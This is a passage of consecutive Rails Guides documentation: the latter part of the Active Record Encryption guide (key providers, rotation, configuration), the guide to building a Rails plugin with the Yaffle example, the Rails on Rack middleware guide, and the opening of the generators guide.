If you want to ignore case, make sure to use downcase: or ignore_case: in the encrypts declaration. Using the case_sensitive: option in the validation won't work.

3.7.2 Unique Indexes

To support unique indexes on deterministically-encrypted columns, you need to ensure their ciphertext doesn't ever change.

To encourage this, deterministic attributes will always use the oldest available encryption scheme by default when multiple encryption schemes are configured. Otherwise, it's your job to ensure encryption properties don't change for these attributes, or the unique indexes won't work.

  class Person
  encrypts :email_address, deterministic: true
end

3.8 Filtering Params Named as Encrypted Columns

By default, encrypted columns are configured to be automatically filtered in Rails logs. You can disable this behavior by adding the following to your application.rb:

When generating the filter parameter, it will use the model name as a prefix. E.g: For Person#name the filter parameter will be person.name.

  config.active_record.encryption.add_to_filter_parameters = false

In case you want exclude specific columns from this automatic filtering, add them to config.active_record.encryption.excluded_from_filter_parameters.

3.9 Encoding

The library will preserve the encoding for string values encrypted non-deterministically.

Because encoding is stored along with the encrypted payload, values encrypted deterministically will force UTF-8 encoding by default. Therefore the same value with a different encoding will result in a different ciphertext when encrypted. You usually want to avoid this to keep queries and uniqueness constraints working, so the library will perform the conversion automatically on your behalf.

You can configure the desired default encoding for deterministic encryption with:

  config.active_record.encryption.forced_encoding_for_deterministic_encryption = Encoding::US_ASCII

And you can disable this behavior and preserve the encoding in all cases with:

  config.active_record.encryption.forced_encoding_for_deterministic_encryption = nil

4 Key Management

Key providers implement key management strategies. You can configure key providers globally, or on a per attribute basis.

4.1 Built-in Key Providers

4.1.1 DerivedSecretKeyProvider

A key provider that will serve keys derived from the provided passwords using PBKDF2.

  config.active_record.encryption.key_provider = ActiveRecord::Encryption::DerivedSecretKeyProvider.new(["some passwords", "to derive keys from. ", "These should be in", "credentials"])

By default, active_record.encryption configures a DerivedSecretKeyProvider with the keys defined in active_record.encryption.primary_key.

4.1.2 EnvelopeEncryptionKeyProvider

Implements a simple envelope encryption strategy:

It generates a random key for each data-encryption operation

It stores the data-key with the data itself, encrypted with a primary key defined in the credential active_record.encryption.primary_key.

You can configure Active Record to use this key provider by adding this to your application.rb:

  config.active_record.encryption.key_provider = ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider.new

As with other built-in key providers, you can provide a list of primary keys in active_record.encryption.primary_key to implement key-rotation schemes.

4.2 Custom Key Providers

For more advanced key-management schemes, you can configure a custom key provider in an initializer:

  ActiveRecord::Encryption.key_provider = MyKeyProvider.new

A key provider must implement this interface:

  class MyKeyProvider
  def encryption_key
  end

  def decryption_keys(encrypted_message)
  end
end

Both methods return ActiveRecord::Encryption::Key objects:

encryption_key returns the key used for encrypting some content

decryption keys returns a list of potential keys for decrypting a given message

A key can include arbitrary tags that will be stored unencrypted with the message. You can use ActiveRecord::Encryption::Message#headers to examine those values when decrypting.

4.3 Model-specific Key Providers

You can configure a key provider on a per-class basis with the :key_provider option:

  class Article < ApplicationRecord
  encrypts :summary, key_provider: ArticleKeyProvider.new
end

4.4 Model-specific Keys

You can configure a given key on a per-class basis with the :key option:

  class Article < ApplicationRecord
  encrypts :summary, key: "some secret key for article summaries"
end

Active Record uses the key to derive the key used to encrypt and decrypt the data.

4.5 Rotating Keys

active_record.encryption can work with lists of keys to support implementing key-rotation schemes:

The last key will be used for encrypting new content.

All the keys will be tried when decrypting content until one works.

  active_record_encryption:
  primary_key:
    - a1cc4d7b9f420e40a337b9e68c5ecec6 # Previous keys can still decrypt existing content
    - bc17e7b413fd4720716a7633027f8cc4 # Active, encrypts new content
  key_derivation_salt: a3226b97b3b2f8372d1fc6d497a0c0d3

This enables workflows in which you keep a short list of keys by adding new keys, re-encrypting content, and deleting old keys.

Rotating keys is not currently supported for deterministic encryption.

Active Record Encryption doesn't provide automatic management of key rotation processes yet. All the pieces are there, but this hasn't been implemented yet.

4.6 Storing Key References

You can configure active_record.encryption.store_key_references to make active_record.encryption store a reference to the encryption key in the encrypted message itself.

  config.active_record.encryption.store_key_references = true

Doing so makes for more performant decryption because the system can now locate keys directly instead of trying lists of keys. The price to pay is storage: encrypted data will be a bit bigger.

5 API

5.1 Basic API

ActiveRecord encryption is meant to be used declaratively, but it offers an API for advanced usage scenarios.

5.1.1 Encrypt and Decrypt

  article.encrypt # encrypt or re-encrypt all the encryptable attributes
article.decrypt # decrypt all the encryptable attributes

5.1.2 Read Ciphertext

  article.ciphertext_for(:title)

5.1.3 Check if Attribute is Encrypted or Not

  article.encrypted_attribute?(:title)

6 Configuration

6.1 Configuration Options

You can configure Active Record Encryption options in your application.rb (most common scenario) or in a specific environment config file config/environments/<env name>.rb if you want to set them on a per-environment basis.

It's recommended to use Rails built-in credentials support to store keys. If you prefer to set them manually via config properties, make sure you don't commit them with your code (e.g. use environment variables).

6.1.1 config.active_record.encryption.support_unencrypted_data

When true, unencrypted data can be read normally. When false, it will raise errors. Default: false.

6.1.2 config.active_record.encryption.extend_queries

When true, queries referencing deterministically encrypted attributes will be modified to include additional values if needed. Those additional values will be the clean version of the value (when config.active_record.encryption.support_unencrypted_data is true) and values encrypted with previous encryption schemes, if any (as provided with the previous: option). Default: false (experimental).

6.1.3 config.active_record.encryption.encrypt_fixtures

When true, encryptable attributes in fixtures will be automatically encrypted when loaded. Default: false.

6.1.4 config.active_record.encryption.store_key_references

When true, a reference to the encryption key is stored in the headers of the encrypted message. This makes for faster decryption when multiple keys are in use. Default: false.

6.1.5 config.active_record.encryption.add_to_filter_parameters

When true, encrypted attribute names are added automatically to config.filter_parameters and won't be shown in logs. Default: true.

6.1.6 config.active_record.encryption.excluded_from_filter_parameters

You can configure a list of params that won't be filtered out when config.active_record.encryption.add_to_filter_parameters is true. Default: [].

6.1.7 config.active_record.encryption.validate_column_size

Adds a validation based on the column size. This is recommended to prevent storing huge values using highly compressible payloads. Default: true.

6.1.8 config.active_record.encryption.primary_key

The key or lists of keys used to derive root data-encryption keys. The way they are used depends on the key provider configured. It's preferred to configure it via the active_record_encryption.primary_key credential.

6.1.9 config.active_record.encryption.deterministic_key

The key or list of keys used for deterministic encryption. It's preferred to configure it via the active_record_encryption.deterministic_key credential.

6.1.10 config.active_record.encryption.key_derivation_salt

The salt used when deriving keys. It's preferred to configure it via the active_record_encryption.key_derivation_salt credential.

6.1.11 config.active_record.encryption.forced_encoding_for_deterministic_encryption

The default encoding for attributes encrypted deterministically. You can disable forced encoding by setting this option to nil. It's Encoding::UTF_8 by default.

6.2 Encryption Contexts

An encryption context defines the encryption components that are used in a given moment. There is a default encryption context based on your global configuration, but you can configure a custom context for a given attribute or when running a specific block of code.

Encryption contexts are a flexible but advanced configuration mechanism. Most users should not have to care about them.

The main components of encryption contexts are:

encryptor: exposes the internal API for encrypting and decrypting data. It interacts with a key_provider to build encrypted messages and deal with their serialization. The encryption/decryption itself is done by the cipher and the serialization by message_serializer.

cipher: the encryption algorithm itself (AES 256 GCM)

key_provider: serves encryption and decryption keys.

message_serializer: serializes and deserializes encrypted payloads (Message).

If you decide to build your own message_serializer, it's important to use safe mechanisms that can't deserialize arbitrary objects. A common supported scenario is encrypting existing unencrypted data. An attacker can leverage this to enter a tampered payload before encryption takes place and perform RCE attacks. This means custom serializers should avoid Marshal, YAML.load (use YAML.safe_load instead), or JSON.load (use JSON.parse instead).

6.2.1 Global Encryption Context

The global encryption context is the one used by default and is configured as other configuration properties in your application.rb or environment config files.

  config.active_record.encryption.key_provider = ActiveRecord::Encryption::EnvelopeEncryptionKeyProvider.new
config.active_record.encryption.encryptor = MyEncryptor.new

6.2.2 Per-attribute Encryption Contexts

You can override encryption context params by passing them in the attribute declaration:

  class Attribute
  encrypts :title, encryptor: MyAttributeEncryptor.new
end

6.2.3 Encryption Context When Running a Block of Code

You can use ActiveRecord::Encryption.with_encryption_context to set an encryption context for a given block of code:

  ActiveRecord::Encryption.with_encryption_context(encryptor: ActiveRecord::Encryption::NullEncryptor.new) do
  ...
end

6.2.4 Built-in Encryption Contexts

6.2.4.1 Disable Encryption

You can run code without encryption:

  ActiveRecord::Encryption.without_encryption do
   ...
end

This means that reading encrypted text will return the ciphertext, and saved content will be stored unencrypted.

6.2.4.2 Protect Encrypted Data

You can run code without encryption but prevent overwriting encrypted content:

  ActiveRecord::Encryption.protecting_encrypted_data do
   ...
end

This can be handy if you want to protect encrypted data while still running arbitrary code against it (e.g. in a Rails console).

The Basics of Creating Rails Plugins

A Rails plugin is either an extension or a modification of the core framework. Plugins provide:

A way for developers to share bleeding-edge ideas without hurting the stable code base.

A segmented architecture so that units of code can be fixed or updated on their own release schedule.

An outlet for the core developers so that they don't have to include every cool new feature under the sun.

After reading this guide, you will know:

How to create a plugin from scratch.

How to write and run tests for the plugin.

This guide describes how to build a test-driven plugin that will:

Extend core Ruby classes like Hash and String.

Add methods to ApplicationRecord in the tradition of the acts_as plugins.

Give you information about where to put generators in your plugin.

For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.

Chapters

Setup

Generate a Gemified Plugin

Testing Your Newly Generated Plugin

Extending Core Classes

Add an "acts_as" Method to Active Record

Add a Class Method

Add an Instance Method

Generators

Publishing Your Gem

RDoc Documentation

References

1 Setup

Currently, Rails plugins are built as gems, gemified plugins. They can be shared across different Rails applications using RubyGems and Bundler if desired.

1.1 Generate a Gemified Plugin

Rails ships with a rails plugin new command which creates a skeleton for developing any kind of Rails extension with the ability to run integration tests using a dummy Rails application. Create your plugin with the command:

  $ rails plugin new yaffle

See usage and options by asking for help:

  $ rails plugin new --help

2 Testing Your Newly Generated Plugin

Navigate to the directory that contains the plugin, and edit yaffle.gemspec to replace any lines that have TODO values:

    spec.homepage    = "http://example.com"
  spec.summary     = "Summary of Yaffle."
  spec.description = "Description of Yaffle."

...

  spec.metadata["source_code_uri"] = "http://example.com"
  spec.metadata["changelog_uri"] = "http://example.com"

Then run the bundle install command.

Now you can run the tests using the bin/test command, and you should see:

    1 runs, 1 assertions, 0 failures, 0 errors, 0 skips

This will tell you that everything got generated properly, and you are ready to start adding functionality.

3 Extending Core Classes

This section will explain how to add a method to String that will be available anywhere in your Rails application.

In this example you will add a method to String named to_squawk. To begin, create a new test file with a few assertions:

  # yaffle/test/core_ext_test.rb

require "test_helper"

class CoreExtTest < ActiveSupport::TestCase
  def test_to_squawk_prepends_the_word_squawk
    assert_equal "squawk! Hello World", "Hello World".to_squawk
  end
end

Run bin/test to run the test. This test should fail because we haven't implemented the to_squawk method:

  E

Error:
CoreExtTest#test_to_squawk_prepends_the_word_squawk:
NoMethodError: undefined method `to_squawk' for "Hello World":String

bin/test /path/to/yaffle/test/core_ext_test.rb:4

.

Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.

2 runs, 1 assertions, 0 failures, 1 errors, 0 skips

Great - now you are ready to start development.

In lib/yaffle.rb, add require "yaffle/core_ext":

  # yaffle/lib/yaffle.rb

require "yaffle/version"
require "yaffle/railtie"
require "yaffle/core_ext"

module Yaffle
  # Your code goes here...
end

Finally, create the core_ext.rb file and add the to_squawk method:

  # yaffle/lib/yaffle/core_ext.rb

class String
  def to_squawk
    "squawk! #{self}".strip
  end
end

To test that your method does what it says it does, run the unit tests with bin/test from your plugin directory.

    2 runs, 2 assertions, 0 failures, 0 errors, 0 skips

To see this in action, change to the test/dummy directory, start bin/rails console, and commence squawking:

  irb> "Hello World".to_squawk
=> "squawk! Hello World"

4 Add an "acts_as" Method to Active Record

A common pattern in plugins is to add a method called acts_as_something to models. In this case, you want to write a method called acts_as_yaffle that adds a squawk method to your Active Record models.

To begin, set up your files so that you have:

  # yaffle/test/acts_as_yaffle_test.rb

require "test_helper"

class ActsAsYaffleTest < ActiveSupport::TestCase
end

  # yaffle/lib/yaffle.rb

require "yaffle/version"
require "yaffle/railtie"
require "yaffle/core_ext"
require "yaffle/acts_as_yaffle"

module Yaffle
  # Your code goes here...
end

  # yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
  module ActsAsYaffle
  end
end

4.1 Add a Class Method

This plugin will expect that you've added a method to your model named last_squawk. However, the plugin users might have already defined a method on their model named last_squawk that they use for something else. This plugin will allow the name to be changed by adding a class method called yaffle_text_field.

To start out, write a failing test that shows the behavior you'd like:

  # yaffle/test/acts_as_yaffle_test.rb

require "test_helper"

class ActsAsYaffleTest < ActiveSupport::TestCase
  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
    assert_equal "last_squawk", Hickwall.yaffle_text_field
  end

  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
    assert_equal "last_tweet", Wickwall.yaffle_text_field
  end
end

When you run bin/test, you should see the following:

  # Running:

..E

Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
NameError: uninitialized constant ActsAsYaffleTest::Wickwall

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8

E

Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
NameError: uninitialized constant ActsAsYaffleTest::Hickwall

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4

Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.

4 runs, 2 assertions, 0 failures, 2 errors, 0 skips

This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test. We can easily generate these models in our "dummy" Rails application by running the following commands from the test/dummy directory:

  $ cd test/dummy
$ bin/rails generate model Hickwall last_squawk:string
$ bin/rails generate model Wickwall last_squawk:string last_tweet:string

Now you can create the necessary database tables in your testing database by navigating to your dummy app and migrating the database. First, run:

  $ cd test/dummy
$ bin/rails db:migrate

While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act like yaffles.

  # test/dummy/app/models/hickwall.rb

class Hickwall < ApplicationRecord
  acts_as_yaffle
end

  # test/dummy/app/models/wickwall.rb

class Wickwall < ApplicationRecord
  acts_as_yaffle yaffle_text_field: :last_tweet
end

We will also add code to define the acts_as_yaffle method.

  # yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
  module ActsAsYaffle
    extend ActiveSupport::Concern

    class_methods do
      def acts_as_yaffle(options = {})
      end
    end
  end
end

  # test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
  include Yaffle::ActsAsYaffle

  self.abstract_class = true
end

You can then return to the root directory (cd ../..) of your plugin and rerun the tests using bin/test.

  # Running:

.E

Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8>

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4

E

Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8>

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8

.

Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.

4 runs, 2 assertions, 0 failures, 2 errors, 0 skips

Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.

  # yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
  module ActsAsYaffle
    extend ActiveSupport::Concern

    class_methods do
      def acts_as_yaffle(options = {})
        cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s
      end
    end
  end
end

  # test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
  include Yaffle::ActsAsYaffle

  self.abstract_class = true
end

When you run bin/test, you should see the tests all pass:

    4 runs, 4 assertions, 0 failures, 0 errors, 0 skips

4.2 Add an Instance Method

This plugin will add a method named 'squawk' to any Active Record object that calls acts_as_yaffle. The 'squawk' method will simply set the value of one of the fields in the database.

To start out, write a failing test that shows the behavior you'd like:

  # yaffle/test/acts_as_yaffle_test.rb
require "test_helper"

class ActsAsYaffleTest < ActiveSupport::TestCase
  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
    assert_equal "last_squawk", Hickwall.yaffle_text_field
  end

  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
    assert_equal "last_tweet", Wickwall.yaffle_text_field
  end

  def test_hickwalls_squawk_should_populate_last_squawk
    hickwall = Hickwall.new
    hickwall.squawk("Hello World")
    assert_equal "squawk! Hello World", hickwall.last_squawk
  end

  def test_wickwalls_squawk_should_populate_last_tweet
    wickwall = Wickwall.new
    wickwall.squawk("Hello World")
    assert_equal "squawk! Hello World", wickwall.last_tweet
  end
end

Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update acts_as_yaffle.rb to look like this:

  # yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
  module ActsAsYaffle
    extend ActiveSupport::Concern

    included do
      def squawk(string)
        write_attribute(self.class.yaffle_text_field, string.to_squawk)
      end
    end

    class_methods do
      def acts_as_yaffle(options = {})
        cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s
      end
    end
  end
end

  # test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
  include Yaffle::ActsAsYaffle

  self.abstract_class = true
end

Run bin/test one final time, and you should see:

    6 runs, 6 assertions, 0 failures, 0 errors, 0 skips

The use of write_attribute to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:

  send("#{self.class.yaffle_text_field}=", string.to_squawk)

5 Generators

Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the Generators Guide.

6 Publishing Your Gem

Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:

  gem "yaffle", git: "https://github.com/rails/yaffle.git"

After running bundle install, your gem functionality will be available to the application.

When the gem is ready to be shared as a formal release, it can be published to RubyGems.

Alternatively, you can benefit from Bundler's Rake tasks. You can see a full list with the following:

  $ bundle exec rake -T

$ bundle exec rake build
# Build yaffle-0.1.0.gem into the pkg directory

$ bundle exec rake install
# Build and install yaffle-0.1.0.gem into system gems

$ bundle exec rake release
# Create tag v0.1.0 and build and push yaffle-0.1.0.gem to Rubygems

For more information about publishing gems to RubyGems, see: Publishing your gem.

7 RDoc Documentation

Once your plugin is stable, and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.

The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:

Your name

How to install

How to add the functionality to the app (several examples of common use cases)

Warnings, gotchas or tips that might help users and save them time

Once your README is solid, go through and add rdoc comments to all the methods that developers will use. It's also customary to add # :nodoc: comments to those parts of the code that are not included in the public API.

Once your comments are good to go, navigate to your plugin directory and run:

  $ bundle exec rake rdoc

7.1 References

Developing a RubyGem using Bundler

Using .gemspecs as Intended

Gemspec Reference

Rails on Rack

This guide covers Rails integration with Rack and interfacing with other Rack components.

After reading this guide, you will know:

How to use Rack Middlewares in your Rails applications.

Action Pack's internal Middleware stack.

How to define a custom Middleware stack.

Chapters

Introduction to Rack

Rails on Rack

Rails Application's Rack Object

bin/rails server

rackup

Development and Auto-reloading

Action Dispatcher Middleware Stack

Inspecting Middleware Stack

Configuring Middleware Stack

Internal Middleware Stack

Resources

Learning Rack

Understanding Middlewares

This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, URL maps, and Rack::Builder.

1 Introduction to Rack

Rack provides a minimal, modular, and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.

Explaining how Rack works is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the Resources section below.

2 Rails on Rack

2.1 Rails Application's Rack Object

Rails.application is the primary Rack application object of a Rails application. Any Rack compliant web server should be using Rails.application object to serve a Rails application.

2.2 bin/rails server

bin/rails server does the basic job of creating a Rack::Server object and starting the web server.

Here's how bin/rails server creates an instance of Rack::Server

  Rails::Server.new.tap do |server|
  require APP_PATH
  Dir.chdir(Rails.application.root)
  server.start
end

The Rails::Server inherits from Rack::Server and calls the Rack::Server#start method this way:

  class Server < ::Rack::Server
  def start
    # ...
    super
  end
end

2.3 rackup

To use rackup instead of Rails' bin/rails server, you can put the following inside config.ru of your Rails application's root directory:

  # Rails.root/config.ru
require_relative "config/environment"
run Rails.application

And start the server:

  $ rackup config.ru

To find out more about different rackup options, you can run:

  $ rackup --help

2.4 Development and Auto-reloading

Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application.

3 Action Dispatcher Middleware Stack

Many of Action Dispatcher's internal components are implemented as Rack middlewares. Rails::Application uses ActionDispatch::MiddlewareStack to combine various internal and external middlewares to form a complete Rails Rack application.

ActionDispatch::MiddlewareStack is Rails' equivalent of Rack::Builder, but is built for better flexibility and more features to meet Rails' requirements.

3.1 Inspecting Middleware Stack

Rails has a handy command for inspecting the middleware stack in use:

  $ bin/rails middleware

For a freshly generated Rails application, this might produce something like:

  use Rack::Sendfile
use ActionDispatch::Static
use ActionDispatch::Executor
use ActiveSupport::Cache::Strategy::LocalCache::Middleware
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use ActionDispatch::RemoteIp
use Sprockets::Rails::QuietAssets
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use WebConsole::Middleware
use ActionDispatch::DebugExceptions
use ActionDispatch::ActionableExceptions
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::Migration::CheckPending
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use ActionDispatch::ContentSecurityPolicy::Middleware
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
use Rack::TempfileReaper
run MyApp::Application.routes

The default middlewares shown here (and some others) are each summarized in the Internal Middlewares section, below.

3.2 Configuring Middleware Stack

Rails provides a simple configuration interface config.middleware for adding, removing, and modifying the middlewares in the middleware stack via application.rb or the environment specific configuration file environments/<environment>.rb.

3.2.1 Adding a Middleware

You can add a new middleware to the middleware stack using any of the following methods:

config.middleware.use(new_middleware, args) - Adds the new middleware at the bottom of the middleware stack.

config.middleware.insert_before(existing_middleware, new_middleware, args) - Adds the new middleware before the specified existing middleware in the middleware stack.

config.middleware.insert_after(existing_middleware, new_middleware, args) - Adds the new middleware after the specified existing middleware in the middleware stack.

  # config/application.rb

# Push Rack::BounceFavicon at the bottom
config.middleware.use Rack::BounceFavicon

# Add Lifo::Cache after ActionDispatch::Executor.
# Pass { page_cache: false } argument to Lifo::Cache.
config.middleware.insert_after ActionDispatch::Executor, Lifo::Cache, page_cache: false

3.2.2 Swapping a Middleware

You can swap an existing middleware in the middleware stack using config.middleware.swap.

  # config/application.rb

# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions

3.2.3 Deleting a Middleware

Add the following lines to your application configuration:

  # config/application.rb
config.middleware.delete Rack::Runtime

And now if you inspect the middleware stack, you'll find that Rack::Runtime is not a part of it.

  $ bin/rails middleware
(in /Users/lifo/Rails/blog)
use ActionDispatch::Static
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
...
run Rails.application.routes

If you want to remove session related middleware, do the following:

  # config/application.rb
config.middleware.delete ActionDispatch::Cookies
config.middleware.delete ActionDispatch::Session::CookieStore
config.middleware.delete ActionDispatch::Flash

And to remove browser related middleware,

  # config/application.rb
config.middleware.delete Rack::MethodOverride

If you want an error to be raised when you try to delete a non-existent item, use delete! instead.

  # config/application.rb
config.middleware.delete! ActionDispatch::Executor

3.3 Internal Middleware Stack

Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:

Rack::Sendfile

Sets server specific X-Sendfile header. Configure this via config.action_dispatch.x_sendfile_header option.

ActionDispatch::Static

Used to serve static files from the public directory. Disabled if config.public_file_server.enabled is false.

Rack::Lock

Sets env["rack.multithread"] flag to false and wraps the application within a Mutex.

ActionDispatch::Executor

Used for thread safe code reloading during development.

ActiveSupport::Cache::Strategy::LocalCache::Middleware

Used for memory caching. This cache is not thread safe.

Rack::Runtime

Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.

Rack::MethodOverride

Allows the method to be overridden if params[:_method] is set. This is the middleware which supports the PUT and DELETE HTTP method types.

ActionDispatch::RequestId

Makes a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#request_id method.

ActionDispatch::RemoteIp

Checks for IP spoofing attacks.

Sprockets::Rails::QuietAssets

Suppresses logger output for asset requests.

Rails::Rack::Logger

Notifies the logs that the request has begun. After the request is complete, flushes all the logs.

ActionDispatch::ShowExceptions

Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.

ActionDispatch::DebugExceptions

Responsible for logging exceptions and showing a debugging page in case the request is local.

ActionDispatch::ActionableExceptions

Provides a way to dispatch actions from Rails' error pages.

ActionDispatch::Reloader

Provides prepare and cleanup callbacks, intended to assist with code reloading during development.

ActionDispatch::Callbacks

Provides callbacks to be executed before and after dispatching the request.

ActiveRecord::Migration::CheckPending

Checks pending migrations and raises ActiveRecord::PendingMigrationError if any migrations are pending.

ActionDispatch::Cookies

Sets cookies for the request.

ActionDispatch::Session::CookieStore

Responsible for storing the session in cookies.

ActionDispatch::Flash

Sets up the flash keys. Only available if config.session_store is set to a value.

ActionDispatch::ContentSecurityPolicy::Middleware

Provides a DSL to configure a Content-Security-Policy header.

Rack::Head

Converts HEAD requests to GET requests and serves them as so.

Rack::ConditionalGet

Adds support for "Conditional GET" so that server responds with nothing if the page wasn't changed.

Rack::ETag

Adds ETag header on all String bodies. ETags are used to validate cache.

Rack::TempfileReaper

Cleans up tempfiles used to buffer multipart requests.

It's possible to use any of the above middlewares in your custom Rack stack.

4 Resources

4.1 Learning Rack

Official Rack Website

Introducing Rack

4.2 Understanding Middlewares

Railscast on Rack Middlewares

Creating and Customizing Rails Generators & Templates

Rails generators are an essential tool for improving your workflow. With this guide you will learn how to create generators and customize existing ones.

After reading this guide, you will know:

How to see which generators are available in your application.

How to create a generator using templates.

How Rails searches for generators before invoking them.

How to customize your scaffold by overriding generator templates.

How to customize your scaffold by overriding generators.

How to use fallbacks to avoid overwriting a huge set of generators.

How to create an application template.

Chapters

First Contact

Creating Your First Generator

Creating Generators with Generators

Generator Command Line Options

Generator Resolution

Overriding Rails Generator Templates

Overriding Rails Generators

Generators Fallbacks

Application Templates

Generator Helper Methods

1 First Contact

When you create an application using the rails command, you are in fact using a Rails generator. After that, you can get a list of all available generators by invoking bin/rails generate:

  $ rails new myapp
$ cd myapp
$ bin/rails generate

To create a rails application we use the rails global command which uses the version of Rails installed via gem install rails. When inside the directory of your application, we use the bin/rails command which uses the version of Rails bundled with the application.

You will get a list of all generators that come with Rails. To see a detailed description of a particular generator, invoke the generator with the --help option. For example:

  $ bin/rails generate scaffold --help

2 Creating Your First Generator

Generators are built on top of Thor, which provides powerful options for parsing and a great API for manipulating files.

Let's build a generator that creates an initializer file named initializer.rb inside config/initializers. The first step is to create a file at lib/generators/initializer_generator.rb with the following content:

  class InitializerGenerator < Rails::Generators::Base
  def create_initializer_file
    create_file "config/initializers/initializer.rb", <<~RUBY
      # Add initialization content here
    RUBY
  end
end

Our new generator is quite simple: it inherits from Rails::Generators::Base and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Our method invokes create_file, which will create a file at the given destination with the given content.

To invoke our new generator, we run:

  $ bin/rails generate initializer

Before we go on, let's see the description of our new generator:

  $ bin/rails generate initializer --help

Rails is usually able to derive a good description if a generator is namespaced, such as ActiveRecord::Generators::ModelGenerator, but not in this case. We can solve this problem in two ways. The first way to add a description is by calling desc inside our generator:

  class InitializerGenerator < Rails::Generators::Base
  desc "This generator creates an initializer file at config/initializers"
  def create_initializer_file
    create_file "config/initializers/initializer.rb", <<~RUBY
      # Add initialization content here
    RUBY
  end
end

Now we can see the new description by invoking --help on the new generator.

The second way to add a description is by creating a file named USAGE in the same directory as our generator. We are going to do that in the next step.

3 Creating Generators with Generators

Generators themselves have a generator. Let's remove our InitializerGenerator and use bin/rails generate generator to generate a new one:

  $ rm lib/generators/initializer_generator.rb

$ bin/rails generate generator initializer
      create  lib/generators/initializer
      create  lib/generators/initializer/initializer_generator.rb
      create  lib/generators/initializer/USAGE
      create  lib/generators/initializer/templates
      invoke  test_unit
      create    test/lib/generators/initializer_generator_test.rb

This is the generator just created:

  class InitializerGenerator < Rails::Generators::NamedBase
  source_root File.expand_path("templates", __dir__)
end

First, notice that the generator inherits from Rails::Generators::NamedBase instead of Rails::Generators::Base. This means that our generator expects at least one argument, which will be the name of the initializer and will be available to our code via name.

We can see that by checking the description of the new generator:

  $ bin/rails generate initializer --help
Usage:
  bin/rails generate initializer NAME [options]

Also, notice that the generator has a class method called source_root. This method points to the location of our templates, if any. By default it points to the lib/generators/initializer/templates directory that was just created.

In order to understand how generator templates work, let's create the file lib/generators/initializer/templates/initializer.rb with the following content:

  # Add initialization content here

And let's change the generator to copy this template when invoked:

  class InitializerGenerator < Rails::Generators::NamedBase
  source_root File.expand_path("templates", __dir__)

  def copy_initializer_file
    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
  end
end

Now let's run our generator:

  $ bin/rails generate initializer core_extensions
      create  config/initializers/core_extensions.rb

$ cat config/initializers/core_extensions.rb
# Add initialization content here

We see that copy_file created config/initializers/core_extensions.rb with the contents of our template. (The file_name method used in the destination path is inherited from Rails::Generators::NamedBase.)

4 Generator Command Line Options

Generators can support command line options using class_option. For example:

  class InitializerGenerator < Rails::Generators::NamedBase
  class_option :scope, type: :string, default: "app"
end

Now our generator can be invoked with a --scope option:

  $ bin/rails generate initializer theme --scope dashboard

Option values are accessible in generator methods via options:

  def copy_initializer_file
  @scope = options["scope"]
end

5 Generator Resolution

